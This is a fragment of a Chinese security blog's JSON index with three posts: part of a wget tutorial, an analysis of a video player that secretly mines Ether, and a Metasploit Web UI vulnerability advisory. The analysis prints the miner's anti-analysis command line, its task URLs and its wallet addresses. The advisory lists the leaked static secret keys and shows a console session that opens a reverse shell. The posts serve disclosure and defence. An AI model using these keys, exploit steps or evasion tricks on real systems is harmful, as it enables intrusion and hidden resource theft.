href=\"http://www.drpsafe.com/wp-content/uploads/2015/06/18160433-1544ba8c85594138b23c05d126abe702.png\"\u003e\u003cimg alt=\"18160433-1544ba8c85594138b23c05d126abe702\" loading=\"lazy\" src=\"http://www.drpsafe.com/wp-content/uploads/2015/06/18160433-1544ba8c85594138b23c05d126abe702.png\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003ewget是在Linux下开发的开放源代码的软件，作者是Hrvoje Niksic，后来被移植到包括Windows在内的各个平台上。\u003c/p\u003e\n\u003cp\u003e它有以下功能和特点：\u003c/p\u003e\n\u003cp\u003e(1)支持断点下传功能;这一点，也是网络蚂蚁和FlashGet当年最大的卖点，现在，Wget也可以使用此功能，那些网络不是太好的用户可以放心了;\u003c/p\u003e\n\u003cp\u003e(2)同时支持FTP和HTTP下载方式;尽管现在大部分软件可以使用HTTP方式下载，但是，有些时候，仍然需要使用FTP方式下载软件;\u003c/p\u003e\n\u003cp\u003e(3)支持代理服务器;对安全强度很高的系统而言，一般不会将自己的系统直接暴露在互联网上，所以，支持代理是下载软件必须有的功能;\u003c/p\u003e\n\u003cp\u003e(4)设置方便简单;可能，习惯图形界面的用户已经不是太习惯命令行了，但是，命令行在设置上其实有更多的优点，最少，鼠标可以少点很多次，也不要担心是否错点鼠标;\u003c/p\u003e\n\u003cp\u003e(5)程序小，完全免费;程序小可以考虑不计，因为现在的硬盘实在太大了;完全免费就不得不考虑了，即使网络上有很多所谓的免费软件，但是，这些软件的广告却不是我们喜欢的;\u003c/p\u003e\n\u003cp\u003e下面我们以实例的形式说明怎么使用wget。\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eLinux Wget下载整站命令说明\u003c/strong\u003e：\u003c/p\u003e\n\u003cp\u003ewget这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。这个命令可以以递归的方式下载整站，并可以将下载的页面中的链接转换为本地链接。\u003c/p\u003e\n\u003cp\u003ewget -r -p -np -k \u003ca href=\"http://xxx.com/abc/\"\u003ehttp://xxx.com/abc/\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e-r, –recursive(递归) specify recursive download.(指定递归下载)\u003c/p\u003e\n\u003cp\u003e-k, –convert-links(转换链接) make links in downloaded HTML point to local files.(将下载的HTML页面中的链接转换为相对链接即本地链接)\u003c/p\u003e\n\u003cp\u003e-p, –page-requisites(页面必需元素) get all images, etc. needed to display HTML page.(下载所有的图片等页面显示所需的内容)\u003c/p\u003e\n\u003cp\u003e-np, –no-parent(不追溯至父级) don’t ascend to the parent directory.\u003c/p\u003e\n\u003cp\u003e另外断点续传用-nc参数 日志 用-o参数\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eLinux Wget命令使用技巧\u003c/strong\u003e：\u003c/p\u003e\n\u003cp\u003e1、使用wget下载单个文件\u003c/p\u003e\n\u003cp\u003e以下的例子是从网络下载一个文件并保存在当前目录\u003c/p\u003e\n\u003cp\u003ewget \u003ca href=\"http://cn.wordpress.org/wordpress-3.1-zh\"\u003ehttp://cn.wordpress.org/wordpress-3.1-zh\u003c/a\u003e_CN.zip\u003c/p\u003e\n\u003cp\u003e在下载的过程中会显示进度条，包含(下载完成百分比，已经下载的字节，当前下载速度，剩余下载时间)。\u003c/p\u003e\n\u003cp\u003e2、使用wget -O下载并以不同的文件名保存\u003c/p\u003e\n\u003cp\u003ewget默认会以最后一个符合”/”的后面的字符来命令，对于动态链接的下载通常文件名会不正确。\u003c/p\u003e\n\u003cp\u003e错误：下面的例子会下载一个文件并以名称download.php?id=1080保存\u003c/p\u003e","title":"wget命令详解，wget下载目录，断点续传,Wget下载整站,Linux Wget下载命令大全"},{"content":"近日，部分用户出现电脑GPU占用率高，电脑温度升高，风扇噪声增大等问题。具体现象为电脑中C盘可使用空间骤降，且在C盘Ethash文件夹内，发现存在大量的1G左右的垃圾文件；电脑闲置状态时，风扇转速增快，电脑发热增加，GPU使用率达到100%。非闲置状态时，恢复正常。经过远程调试分析发现是看看影音在后台偷偷利用用户电脑的运算资源进行以太币（一种类似比特币的数字货币）挖矿导致。 [看看影音的版本和公司信息]\n安装看看影音后，会注册组件%APP_DATA%\\Video Legend\\RBC\\Program\\RBCShellExternal.dll到注册表的explorer加载项，从而开机即可加载运行，然后通过lua脚本控制，下载挖矿模块到本地利用GPU挖矿，整个流程如下图所示：\n[看看影音挖矿行为整体流程简图]\nRBCShellExternal.dll 分析 该组件是一个商业功能模块，RBC是Remote Bussiness Control的缩写。顾名思义，这个模块可以通过远程配置来控制用户电脑上运行不同的模块，比如升级、修复、广告弹窗、推广安装等，也包括挖矿。\nRBCShellExternal.dll会通过rundll32.exe来加载模块RBCEntry.dll，并通过命令行参数来检测调试工具。\n[加载RBCEntry.dll的命令行]\n完整命令行如下：\nrundll32.exe\u0026#34;%APP_DATA%\\Video Legend\\RBC\\Program\\RbcEntry.dll\u0026#34;, Control_RunDLL/thread /src ..\\\\..\\\\Xar\\\\Rbc.xar /killex /priority 0 /checktime /delay 1 /idle%d /busy %d /debug /bkwndlist\u0026#34;Microsoft Visual;HTTPAnalyzer;WinDBG;OllyDebug;fiddler;SmartSniff;\\t\\t\\t\\t\\t\\t\\t\\tSpy++;Spy;ATL/MFC;任务管理器;DebugView;Process Explorer;File Monitor;RegistryMonitor;Wireshark;OllyICE;OllyDBG;Sysinternals\u0026#34; /bkprocesslist\u0026#34;fiddler.exe;windbg.exe;devenv.exe;taskmgr.exe;wireshark.exe;\\t\\t\\t\\t\\t\\t\\t\\t\\thttpanalyzer.exe;smsniff.exe;filemon.exe;regmon.exe;procmon.exe;ollydbg.exe;softice.exe;cis.exe;\\t\\t\\t\\t\\t\\t\\t\\t\\ttasklist.exe;procexp.exe;ollyice.exe;processspy.exe;spyxx.exe;winspy.exe;cv.exe\u0026#34; 参数/src指定了要加载的lua脚本模块(已打包成xar格式)，通过lua脚本来控制任务；参数/bkwndlist指定要查找的窗口标题，参数/bkprocesslist指定要查找的进程名，一旦枚举到指定的窗口或进程名，立刻结束进程，防止被用户发现。\nLUA 脚本分析 RbcEntry.dll封装了LUA引擎，加载后首先解析Rbc.xar，然后调用其中的onload.lua，启动整个脚本。Rbc.xar是任务调度模块，核心功能是从云端下载任务控制脚本并加载运行。\nRbc.xar解包后目录树如下：\nRbc.xar\n│\n└─layout\n│ onload.lua\n│\n└─luacode\nkkp.curl.lua\nrbc.base.lua\nrbc.eventsource.lua\nrbc.filter.lua\nrbc.helper.lua\nrbc.lua\nrbc.scheduler.lua\nrbc.setting.lua\nrbc.task.lua\nrbc.version.lua\nonload.lua主要功能是加载各个脚本，代码如下：\n[onLoad.lua加载脚本]\n最后加载rbc.scheduler.lua里面包含了远程配置的任务脚本url：http:/***.kankan.com/rbc/taskschedule_v1.2.dat\n[rbc.scheduler.lua调度脚本]\n从各个函数名称可以看出，该脚本是主要功能是调度任务的运行。而脚本taskschedule_v1.2.dat则是真正的任务脚本。\ntaskschedule_v1.2.dat中配置了各种任务的参数，其中挖矿任务的参数配置块如下：\n[挖矿任务脚本的参数配置块]\n其中link就是该任务模块的下载地址，通常是xar包；frequency是执行频率；googleid和cnzzid是活跃统计标识。configurl是脚本里面使用的远程配置，主要是挖矿DLL模块的下载地址和MD5，具体内容请看下文。\n任务模块下载后保存在%APP_DATA%\\VideoLegend\\RBC\\Task目录下：\n[%APP_DATA%\\VideoLegend\\RBC\\Task下生成的各任务目录]\n整理所有任务URL，如下：\nhttp:// ***.kankan.com/rbc/fixrbclaunch_v1.2.cab\nhttp://***.kankan.com/rbc/startip_v3.2.cab\nhttp://***.kankan.com/rbc/upkkp_v1.20.cab\nhttp://***.kankan.com/rbc/uprbc_v1.11.cab\nhttp://***.kankan.com/rbc/uprbcxar_v1.1.cab\nhttp://***.kankan.com/rbc/checkintegrity_v1.9.xar\nhttp://***.kankan.com/rbc/arkkp_v5.2.cab\nhttp://***.kankan.com/rbc/aikkp_v6.1.xar\nhttp://***.kankan.com/rbc/arfix_v1.0.xar\nhttp://***.kankan.com/rbc/dc_fixplugin_v4.2.lua\nhttp://***.kankan.com/rbc/fixplugin_v12.0.cab\nhttp://***.kankan.com/rbc/fixplugin_v11.5.cab\nhttp://***.kankan.com/rbc/launchkkp_v10.1.xar\nhttp://***.kankan.com/rbc/launchkkp_v20.1.cab\nhttp://***.kankan.com/rbc/rbctip_v5.10.cab\nhttp://***.kankan.com/rbc/newstip_v2.21.cab\nhttp://***.kankan.com/rbc/rbcbiz_v3.3.cab\nhttp://***.kankan.com/rbc/rbcbizlite_v1.3.cab\nhttp://***.kankan.com/rbc/biztask_v2.1.cab\nhttp://***.kankan.com/rbc/fixpusher_v1.3.cab\nhttp://***.kankan.com/rbc/dc_task_v5.3.xar\nhttp://***.kankan.com/rbc/partnerlink_v2.2.cab\nhttp://***.kankan.com/rbc/partnerdll_v2.11.xar\nhttp://***.kankan.com/rbc/arbrowserlink_v2.9.xar\nhttp://***.kankan.com/rbc/dc_arbrowserlink_v2.3.xar\nhttp://***.kankan.com/rbc/arbrowserlinkq_v1.6.xar\nhttp://***.kankan.com/rbc/dc_arbrowserlinkq_v1.2.xar\n其中http://***.kankan.com/rbc/partnerdll_v2.11.xar是挖矿任务控制脚本，md5为8EF1948C5EA9B8113706CBFF1EBB8CF5；解包后只有一个脚本onload.lua，主要功能是根据配置参数configurl下载deploy64.dll到%TEMP%目录下并加载运行。而deploy64.dll正是挖矿的主体模块。\nconfigurl配置的脚本内容如下：\n[挖矿任务脚本配置的DLL下载地址]\n里面配置了deploy.dll的3个下载地址caburl、caburl_without、caburl_withoutwithdll，其中caburl是编译了opencl的，caburl_without是没有编译opencl的，caburl_withoutwithdll是没有编译opencl但打包了OpenCl.dll的。但脚本中总是去下载caburl，最后调用rundll32.exe加载Deploy64.dll运行：\n[脚本调用rundll32.exe加载Deploy64.dll]\n完整命令行如下：\nc:\\windows\\system32\\rundll32.exe“%TEMP%\\Deploy64.dll” ,Control_RunDLL index_class_d=%d 其中参数index_class_d在taskschedule_v1.2.dat中的任务参数配置块中指定。\nDeploy64.dll加载起来后就开始执行真正的挖矿代码了，是导致GPU使用率大增、电脑过热、C盘可用空间变小的真正元凶。\nDeploy64.dll 分析 Deploy64.dll加载后会创建2个线程：CSafeRT::MonitorThread和EthThread。其中CSafeRT::MonitorThread是监控线程，而EthThread是挖矿线程。\nCSafeRT::MonitorThread 该线程会创建一个窗口，窗口类名为__deploy_CSafeRTImpl，窗口名称为__deploy_CSafeRTImpl_i_1_5，然后在窗口过程函数中检测调试器和枚举窗口，如果检测到被调试或有检测工具窗口存在则退出。\n[检测到正在被调试则退出]\n[检测到以上窗口标题则退出]\nEthThread Ethread是执行挖矿的主体线程，首先下载挖矿配置文件http://***.kankan.com/deploy/dtask%d_.ini，其中%d由传入参数index_class_d指定，目前0-7有效。该配置文件内容如下：\n[挖矿配置文件]\n读取配置字段后使用AES128算法解密，得到\np = “http://eth-asia1.nanopool.org:8888”；us = “0x7016df7C2d2AcF0DAc218A410e61002A66837151;\n0xEaABAF0384EE73bca43c2A698e240d64de09081b;\n0x0af856fbEd6e93A01b3c4557D64edc99C5a5d46B;\n0x669F588F103764f98b94ceBFB6fB93bbd5dF2CFc;\n0xedC148759dFdFfA3EEfF01Ea64B2aBf20642799f;\n0xfE7c793eD4F16B6d05eC763D98389590b0c812E1;\n0xc556d14247A59d1E0886bB21b4fAe1481C744191;\n0xb1d42965F539eAF688938A16be47558053D57A52;\n0x6563b8A0a6238edc8c3bBD7E23AB6174DED92165;\n0x9C3dc3Bc89a0f16B1CBc2bA8b35427d286F783ec;\n0xFfB6faEF01A41330425ae1795601f6D3F7c1d762”\n[解密得到的挖矿参数]\n然后拼接得到 http://eth-asia1.nanopool.org:8888/0xFfB6faEF01A41330425ae1795601f6D3F7c1d762。\n[启动挖矿参数]\n传的参数给自身进程，开始挖矿。其中参数-G指定使用GPU挖矿，参数-F指定矿场url。挖矿开始后会在用户目录下生成Ethash目录，其中的挖矿数据文件格式如下，单个文件大小超过1.5GB。同时造成用户电脑GPU占用率飙升，电脑发热增大等现象。\n[Deploy64.dll生成的挖矿文件]\n以上就是看看影音利用用户电脑运算资源进行挖矿的整个过程分析。由于看看影音本身属于正常软件，通常被各安全软件直接信任，从而导致这种恶意行为难以被发现。目前毒霸可以查杀该恶意行为。\n[毒霸拦截查杀挖矿病毒]\n[毒霸清理挖矿数据文件]\n","permalink":"https://www.lucien116.com/archives/144/","summary":"\u003cp\u003e\u003cstrong\u003e近日，部分用户出现电脑GPU占用率高，电脑温度升高，风扇噪声增大等问题。具体现象为电脑中C盘可使用空间骤降，且在C盘Ethash文件夹内，发现存在大量的1G左右的垃圾文件；电脑闲置状态时，风扇转速增快，电脑发热增加，GPU使用率达到100%。非闲置状态时，恢复正常。经过远程调试分析发现是看看影音在后台偷偷利用用户电脑的运算资源进行以太币（一种类似比特币的数字货币）挖矿导致。\u003c/strong\u003e \u003ca href=\"http://image.3001.net/images/20160914/14738405757402.jpg\"\u003e\u003cimg alt=\"1.jpg\" loading=\"lazy\" src=\"http://image.3001.net/images/20160914/14738405757402.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[看看影音的版本和公司信息]\u003c/p\u003e\n\u003cp\u003e安装看看影音后，会注册组件%APP_DATA%\\Video Legend\\RBC\\Program\\RBCShellExternal.dll到注册表的explorer加载项，从而开机即可加载运行，然后通过lua脚本控制，下载挖矿模块到本地利用GPU挖矿，整个流程如下图所示：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20160914/14738405756087.png\"\u003e\u003cimg alt=\"2.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20160914/14738405756087.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[看看影音挖矿行为整体流程简图]\u003c/p\u003e\n\u003ch2 id=\"rbcshellexternaldll-分析\"\u003e\u003cstrong\u003eRBCShellExternal.dll\u003c/strong\u003e \u003cstrong\u003e分析\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003e该组件是一个商业功能模块，RBC是Remote Bussiness Control的缩写。顾名思义，这个模块可以通过远程配置来控制用户电脑上运行不同的模块，比如升级、修复、广告弹窗、推广安装等，也包括挖矿。\u003c/p\u003e\n\u003cp\u003eRBCShellExternal.dll会通过rundll32.exe来加载模块RBCEntry.dll，并通过命令行参数来检测调试工具。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20160914/14738405757070.jpg\"\u003e\u003cimg alt=\"3.jpg\" loading=\"lazy\" src=\"http://image.3001.net/images/20160914/14738405757070.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[加载RBCEntry.dll的命令行]\u003c/p\u003e\n\u003cp\u003e完整命令行如下：\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003erundll32.exe\u0026#34;%APP_DATA%\\Video Legend\\RBC\\Program\\RbcEntry.dll\u0026#34;, Control_RunDLL/thread /src ..\\\\..\\\\Xar\\\\Rbc.xar /killex /priority 0 /checktime /delay 1 /idle%d /busy %d  /debug /bkwndlist\u0026#34;Microsoft Visual;HTTPAnalyzer;WinDBG;OllyDebug;fiddler;SmartSniff;\\t\\t\\t\\t\\t\\t\\t\\tSpy++;Spy;ATL/MFC;任务管理器;DebugView;Process    Explorer;File Monitor;RegistryMonitor;Wireshark;OllyICE;OllyDBG;Sysinternals\u0026#34; /bkprocesslist\u0026#34;fiddler.exe;windbg.exe;devenv.exe;taskmgr.exe;wireshark.exe;\\t\\t\\t\\t\\t\\t\\t\\t\\thttpanalyzer.exe;smsniff.exe;filemon.exe;regmon.exe;procmon.exe;ollydbg.exe;softice.exe;cis.exe;\\t\\t\\t\\t\\t\\t\\t\\t\\ttasklist.exe;procexp.exe;ollyice.exe;processspy.exe;spyxx.exe;winspy.exe;cv.exe\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e参数/src指定了要加载的lua脚本模块(已打包成xar格式)，通过lua脚本来控制任务；参数/bkwndlist指定要查找的窗口标题，参数/bkprocesslist指定要查找的进程名，一旦枚举到指定的窗口或进程名，立刻结束进程，防止被用户发现。\u003c/p\u003e\n\u003ch2 id=\"lua-脚本分析\"\u003e\u003cstrong\u003eLUA\u003c/strong\u003e \u003cstrong\u003e脚本分析\u003c/strong\u003e\u003c/h2\u003e\n\u003cp\u003eRbcEntry.dll封装了LUA引擎，加载后首先解析Rbc.xar，然后调用其中的onload.lua，启动整个脚本。Rbc.xar是任务调度模块，核心功能是从云端下载任务控制脚本并加载运行。\u003c/p\u003e\n\u003cp\u003eRbc.xar解包后目录树如下：\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eRbc.xar\u003c/p\u003e\n\u003cp\u003e│\u003c/p\u003e\n\u003cp\u003e└─layout\u003c/p\u003e\n\u003cp\u003e│  onload.lua\u003c/p\u003e\n\u003cp\u003e│\u003c/p\u003e\n\u003cp\u003e└─luacode\u003c/p\u003e\n\u003cp\u003ekkp.curl.lua\u003c/p\u003e\n\u003cp\u003erbc.base.lua\u003c/p\u003e\n\u003cp\u003erbc.eventsource.lua\u003c/p\u003e\n\u003cp\u003erbc.filter.lua\u003c/p\u003e\n\u003cp\u003erbc.helper.lua\u003c/p\u003e\n\u003cp\u003erbc.lua\u003c/p\u003e\n\u003cp\u003erbc.scheduler.lua\u003c/p\u003e\n\u003cp\u003erbc.setting.lua\u003c/p\u003e\n\u003cp\u003erbc.task.lua\u003c/p\u003e\n\u003cp\u003erbc.version.lua\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eonload.lua主要功能是加载各个脚本，代码如下：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20160914/14738405755036.png\"\u003e\u003cimg alt=\"4.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20160914/14738405755036.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[onLoad.lua加载脚本]\u003c/p\u003e\n\u003cp\u003e最后加载rbc.scheduler.lua里面包含了远程配置的任务脚本url：http:/***.kankan.com/rbc/taskschedule_v1.2.dat\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20160914/1473840576444.jpg\"\u003e\u003cimg alt=\"5.jpg\" loading=\"lazy\" src=\"http://image.3001.net/images/20160914/1473840576444.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[rbc.scheduler.lua调度脚本]\u003c/p\u003e\n\u003cp\u003e从各个函数名称可以看出，该脚本是主要功能是调度任务的运行。而脚本taskschedule_v1.2.dat则是真正的任务脚本。\u003c/p\u003e\n\u003cp\u003etaskschedule_v1.2.dat中配置了各种任务的参数，其中挖矿任务的参数配置块如下：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20160914/14738405761251.jpg\"\u003e\u003cimg alt=\"6.jpg\" loading=\"lazy\" src=\"http://image.3001.net/images/20160914/14738405761251.jpg!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[挖矿任务脚本的参数配置块]\u003c/p\u003e\n\u003cp\u003e其中link就是该任务模块的下载地址，通常是xar包；frequency是执行频率；googleid和cnzzid是活跃统计标识。configurl是脚本里面使用的远程配置，主要是挖矿DLL模块的下载地址和MD5，具体内容请看下文。\u003c/p\u003e\n\u003cp\u003e任务模块下载后保存在%APP_DATA%\\VideoLegend\\RBC\\Task目录下：\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://image.3001.net/images/20160914/1473840576321.png\"\u003e\u003cimg alt=\"7.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20160914/1473840576321.png!small\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e[%APP_DATA%\\VideoLegend\\RBC\\Task下生成的各任务目录]\u003c/p\u003e\n\u003cp\u003e整理所有任务URL，如下：\u003c/p\u003e","title":"看看影音恶意挖矿行为分析"},{"content":"就在本周，Rapid7社区发布两个关于Metasploit框架的安全补丁，通过这两个漏洞，攻击者可以远程非授权执行任意代码。目前，安全研究人员已经发放出相关POC攻击代码。 漏洞一：Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid 漏洞信息 OVE ID: OVE-20160904-0001\n私有披露日期: 2016-09-04\n公开披露日期: 2016-09-19\n厂商公告 : https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401\n影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001\n漏洞描述 Metasploit作为一个安全测试框架，里面集成了非常多的功能，比如msfconsole，msfvenom等，并且也提供了非常多的接口和界面，比如shell接口，Windows GUI页面，WEB UI页面等等。而这次的问题主要是出在WEB接口上。MSF Community, Express 和 Pro 版本的 Web UI在4.12.0-2016061501至4.12.0-2016083001版本中的config.action_dispatch.cookies_serializer 值设置为 :hybrid，并且引入了hybrid cookie序列化，这将允许反序列化JSON和Marshal序列化的cookies。直到Metasploit 4.12.0-2016091401，才将其值设置为:json。也就是说，只要cookie序列化设置为Marshal或hybird时，并且攻击者知道cookie signing key的值，那么攻击者就可以构造cookie，触发Marshal反序列化，实现任意代码执行。\n参考 [0] http://blog.bigbinary.com/2014/12/23/migrating-existing-session-cookies-while-upgrading-to-rails-4-1-and-above.html\n[1] https://www.rapid7.com/db/modules/exploit/multi/http/rails_secret_deserialization\n漏洞二：Metasploit本周发布了静态的secret_key_base，这个将会导致远程命令执行代码 漏洞信息 OVE ID: OVE-20160904-0002\n私有披露日期: 2016-09-04\n公开披露日期: 2016-09-19\n厂商公告 : https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401\n影响的版本 : Metasploit 4.12.0-2016061501 到 4.12.0-2016083001\n漏洞描述 通过第一个漏洞，我们已经可以确定cookie序列化设置为hybird，但是攻击者还必须知道cookie signing key的值才可以构造cookie，实现远程代码执行。非常不幸的是，MSF WEB UI中的secret_key_base是静态的，并且该值是公开的。以下是目前已知受影响的MSF的值：\n4.12.0-2016061501版本：d25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7\n4.12.0-2016062101版本：99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc\n4.12.0-2016072501版本：446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde\n4.12.0-2016081001版本：61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a\n4.12.0-2016081201版本：23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32\n4.12.0-2016083001版本：18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615\n其它版本：b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c\n目前这个漏洞的利用脚本已经公开到MSF上，模块位置是exploit/multi/http/rails_secret_deserialization。大家可以更新自己的MSF使用此脚本，或者去GitHub上下载。\n下载地址： https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/rails_secret_deserialization.rb\n使用方法：\nmsf exploit(metasploit_static_secret_key_base) \u0026gt; info\nName: Metasploit Web UI Static secret_key_base Value\nModule: exploit/multi/http/metasploit_static_secret_key_base Platform: Ruby Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2016-09-15Provided by: Justin Steven joernchen of Phenoelit joernchen@phenoelit.deAvailable targets: Id Name -- \u0026mdash;- 0 Metasploit 4.12.0-2016061501 to 4.12.0-2016083001Basic options: Name Current Setting Required Description ---- --------------- -------- \u0026mdash;\u0026mdash;\u0026mdash;\u0026ndash; Proxies no A proxy chain of format type:host:port[,type:host:port][\u0026hellip;] RHOST yes The target address RPORT 3790 yes The target port SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI /yes The path to the Metasploit Web UI\nVHOST no HTTP server virtual host\nPayload information:\nDescription:\nThis module exploits the Web UI for Metasploit Community, Express\nand Pro where one of a certain set of Weekly Releases have been\napplied. These Weekly Releases introduced a static secret_key_base\nvalue. Knowledge of the static secret_key_base value allows for\ndeserialization of a crafted Ruby Object, achieving code execution.\nThis moduleis based on\nexploits/multi/http/rails_secret_deserializationReferences: OVE (20160904-0002) https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401\nmsf exploit(metasploit_static_secret_key_base) \u0026gt; set RHOST 172.18.0.2\nRHOST =\u0026gt; 172.18.0.2\nmsf exploit(metasploit_static_secret_key_base) \u0026gt; set PAYLOAD ruby/shell_reverse_tcp\nPAYLOAD =\u0026gt; ruby/shell_reverse_tcp\nmsf exploit(metasploit_static_secret_key_base) \u0026gt; set LHOST 172.18.0.1\nLHOST =\u0026gt; 172.18.0.1\nmsf exploit(metasploit_static_secret_key_base) \u0026gt; set LPORT 4444\nLPORT =\u0026gt; 4444\nmsf exploit(metasploit_static_secret_key_base) \u0026gt; exploit\n[*] Started reverse TCP handler on172.18.0.1:4444\n[*] Checking for cookie _ui_session\n[*] Searching for proper SECRET\n[*] Sending cookie _ui_session\n[*] Command shell session 1 opened (172.18.0.1:4444 -\u0026gt; 172.18.0.2:47590) at 2016-09-1919:26:30 +1000\nid\nuid=1(daemon) gid=1(daemon) groups=1(daemon)\nexit\n^C\nAbort session 1? [y/N] y\n[*] 172.18.0.2 - Command shell session 1 closed. Reason: User exit\nRapid7 在 etasploit 4.12.0-2016091401版本中修复了这个问题，将会检测secret_key_base的值是否是默认值，如果是，将重新生成，因此用户要尽快升级到Metasploit 4.12.0-2016091401或以上版本。\n参考 [0] https://github.com/rapid7/metasploit-framework/pull/7304\n[1] https://github.com/rapid7/metasploit-framework/pull/7341\n总结 该漏洞在国内影响或许有些广泛，其主要原因是国内大部分宽带的IP要么是在内网，要么是动态的，并且还有GFW对众多域名和IP的拦截。复杂的网络环境导致大部分黑客会将MSF架设在境外的VPS或者私人服务器上，并且开启WEB GUI接口，以便随时对MSF进行控制和访问。换句话来说，国内有很多安全研究人员的MSF都处在公网IP。实际上该漏洞很早之前就爆料出来，只是\n目前通过shodan搜索关键字title:”metasploit is initializing”，我们可以发现大部分公网中的MSF处在美国的服务器上。\n梳理了一下这两个漏洞，漏洞的理由流程是\n1. 通过漏洞二获取静态的secret_key_base\n2. 通过漏洞一构造cookie\n3. Marshal反序列化，实现任意代码执行\n话说这个漏洞很早就已经爆料出来了，并且想不通metasploit为什么会犯这种低级错误，难道是背后有更多的“故事”？\n不过说实话，这个漏洞的理由条件还是非常的苛刻。\n1. 对方必须开机MSF WEB GUI接口\n2. 对方的MSF版本必须在4.12.0-2016061501至4.12.0-2016083001\n3. 对方的MSF需要处于在公网上，或者攻击者可以访问对方MSF WEB GUI的接口\n","permalink":"https://www.lucien116.com/archives/142/","summary":"\u003cp\u003e\u003cstrong\u003e就在本周，Rapid7社区发布两个关于Metasploit框架的安全补丁，通过这两个漏洞，攻击者可以远程非授权执行任意代码。目前，安全研究人员已经发放出相关POC攻击代码。\u003c/strong\u003e  \u003cstrong\u003e\u003ca href=\"http://image.3001.net/images/20160921/14744289346479.png\"\u003e\u003cimg alt=\"t0199f6625196391e0f.png\" loading=\"lazy\" src=\"http://image.3001.net/images/20160921/14744289346479.png!small\"\u003e\u003c/a\u003e\u003c/strong\u003e\u003c/p\u003e\n\u003ch2 id=\"漏洞一metasploit-web-ui相关文件中的configaction_dispatchcookies_serializer设置为hybrid\"\u003e漏洞一：Metasploit Web UI相关文件中的config.action_dispatch.cookies_serializer设置为:hybrid\u003c/h2\u003e\n\u003ch3 id=\"漏洞信息\"\u003e漏洞信息\u003c/h3\u003e\n\u003cp\u003eOVE ID: 